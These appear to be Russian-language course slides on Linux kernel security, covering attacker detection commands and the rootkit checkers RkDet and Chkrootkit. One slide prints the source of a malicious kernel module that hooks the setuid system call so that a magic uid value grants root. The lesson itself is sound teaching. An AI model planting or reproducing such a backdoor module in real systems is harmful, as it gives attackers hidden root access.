Безопасность ядра и модулей

Сабина Жигальская
Специалист по комплексной защите информации

Skillbox

Цели урока

- Узнать про ядро с точки зрения безопасности
- Разобраться в защите ядра
- Узнать про возможности загрузки опасных модулей

Ядро Linux

Ядро операционной системы — это её основа.

Скомпрометированное ядро представляет опасность для работы всех служб.

Ядро Linux

Ядро ОС Linux представляет собой
единый полнофункциональный код.

Если произошло негативное воздействие
на ядро — это повлияет на всю систему в целом.

Обнаружение действий злоумышленника

Системный администратор может обнаружить действия хакера, воспользовавшись рядом самых простых команд, таких как:

- who
- ps
- netstat

Модули ядра Linux

В ядро можно загружать модули. Модули модифицируют ядро под нужды и потребности пользователя.

Но! Не все модули безопасны.

Опасные модули ядра Linux

```
int new_uid (uid_t);
int (*old_uid)(uid_t);
extern void *sys_call_table[];
int init_module(){
        register struct module *mp asm ("%ebx");

        *(char *) (mp->name) = `d';
        *(char *) (mp->name+1) = `s';
        *(char *) (mp->name+2) = `2';
        *(char *) (mp->name+3) = `\0';
        old_uid = sys_call_table [SYS_setuid];
        sys_call_table [SYS_setuid] = (void *) new_uid;
        return 0;
}

int cleanup_module(){
     sys_call_table[ SYS_setuid] = (void *)old_uid;
     return 0;
}

int new_uid(uid_t uid){
             if (uid ==19222 )  {
                current ->uid =0;
                current ->gid =0;
                current ->euid =0;
                current ->egid =0;
                return 0;
                                }
             return (*old_uid)(uid);
 }
```

Защита ядра Linux

Утилита **RkDet**: работает как демон и проверяет контрольные суммы двоичных файлов.

Защита ядра Linux

Утилита **Chkrootkit**: работает как RkDet,
но и дополнительно сверяет результаты
выполнения команды ps с записями в каталоге /proc.

Если атака на ядро прошла...

Если ваше ядро подверглось атаке, вы не можете доверять работе своего компьютера.

Решение: полная переустановка системы.

Выводы урока

- Узнали про загружаемые модули ядра
- Разобрались, почему не все модули «хороши»
- Поняли, как защищать ядро и почему это важно